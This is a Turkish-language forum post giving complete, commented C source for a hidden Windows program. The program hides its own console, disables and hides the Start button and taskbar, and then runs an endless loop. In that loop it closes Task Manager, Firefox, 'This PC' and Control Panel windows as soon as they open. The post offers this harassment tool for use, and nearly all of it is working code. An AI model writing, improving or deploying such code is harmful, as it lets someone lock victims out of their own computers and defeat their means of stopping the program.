Neler yeni
Türkiye'nin En Güncel Forum Sitesi

Forum içeriğine ve tüm hizmetlerimize erişim sağlamak için foruma kayıt olmalı yada giriş yapmalısınız. Forum üye olmak tamamen ücretsizdir.

Başlat Menüsü, Görev Çubuğu, Görev Yöneticisi Açılamaz :)

ByOnur58

Kayıtlı Üye
MFC Üyesi
  • Üyelik Tarihi
    7 Ocak 2015
  • Mesajlar
    2,113
  • MFC Puanı
    10
  • MFC Seviyesi

öncelikle HWND değişkeninini açıklayalım
HWND: Her pencerenin bir numarası vardır işte bu değişkenleo pencerenin numarasını tutar.
şimdi programdan bahsedelim programı derlediğimizde programımız gizlenir ve başlat menüsü, görev çubuğuna tıklanmaz ve gizlenirler ayrıca görev yöneticisi'ni açamaya kalktığınızda direk açılır açılmaz kapanır

-> Eğer görev çubuğu ve başlat menüsünü tekrar görünür(aktif) yapmak istiyorsanız kontrol değişkenini 1 yapınız

Kod:
-Görev Yöneticisi Açılamaz
-Başlat Menüsü Gizlenir
-Başlat Menüsünün Yetkileri Kalkar
-Görev Çubuğu Gizlenir
-Görev Çubuğunun Yetkileri Kalkar
*/

#include <windows.h>//pencere, windows değişkenleri kısacası window API'sini kullanmak için kütüphanemizi tanımlıyoruz

int Gizlen()//Gizlen fonksiyonumuz:
{
     AllocConsole();
     ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);//Dos ekranımızı gizliyorruz 0 olursa gizlenir, 1 olursa gizlenmez
}
int main()
{
    int kontrol=0;
    Gizlen();//Gizlen fonksiyonumuzu çalıştırıyoruz
    HWND mozilla,GorevY,GorevY2,PC,CP,CP2;//değişkenlerimizi tanımlıyoruz
    HWND hGorevCubugu,hBaslat;//değişkenlerimizi tanımlıyoruz
    
    hGorevCubugu = FindWindow("Shell_TrayWnd",NULL);//Araç Çubuğunu hGorevCubugu değişkenine atanıyor
    hBaslat      = FindWindowEx(GetDesktopWindow(),NULL,"Button","Başlat");//Başlat butonu hBaslat değişkenine atanıyor
    
    EnableWindow(hBaslat,kontrol);//0 olduğu zaman hBaslat yani Başlat Menüsü'nün yetkileri kalkacak(tıklanamayacak)
    EnableWindow(hGorevCubugu,kontrol);//0 olduğu zaman hGorevCubugu yani Görev Çubuğu'nun yetkileri kalkacak(tıklanamayacak)
    
    while(1)//sonsuz döngüye alıyoruz
    {
                      mozilla = FindWindowEx(0,0,"MozillaUIWindowClass",0);//Mozilla Firefox'u mozilla değişkenine atıyoruz aşağıdaki FindWindow 
                                                                             //fonksiyonlarıdaaynı bu şekide değişkenlere atanıyor
                      GorevY = FindWindow(NULL,"Task Manager");
                      GorevY2 = FindWindow(NULL,"Windows Görev Yöneticisi");
                      PC = FindWindow(NULL, "This PC");
                      CP = FindWindow(NULL,"Control Panel");
                      CP2 = FindWindow(NULL,"Kontrol Paneli");
                      
                      PostMessage(GorevY,WM_CLOSE,(LPARAM)0,(WPARAM)0);//GorevY değişeninine yani Görev Yöneticisi' ne 0 yani Kapat komutu gönderiliyor
                                                                       //aşağıdakilerde aynı şekide        
                      PostMessage(mozilla,WM_CLOSE,(LPARAM)0,(WPARAM)0);
                      PostMessage(GorevY2,WM_CLOSE,(LPARAM)0,(WPARAM)0);
                      PostMessage(PC,WM_CLOSE,(LPARAM)0,(WPARAM)0);
                      PostMessage(CP,WM_CLOSE,(LPARAM)0,(WPARAM)0);
                      PostMessage(CP2,WM_CLOSE,(LPARAM)0,(WPARAM)0);
                      
                      ShowWindow(hBaslat,kontrol);/*hBaslat değişkeni yani Başlat Menüsü'nü
                                              1 olursa açık kalır,0 olursa kapanır*/
                      ShowWindow(hGorevCubugu,kontrol);/*hGorevCubugu değişkeni yani Görev Çubuğunu
                                              1 olursa açık kalır,0 olursa kapanır*/
    }
return 0;
}
 
Üst Alt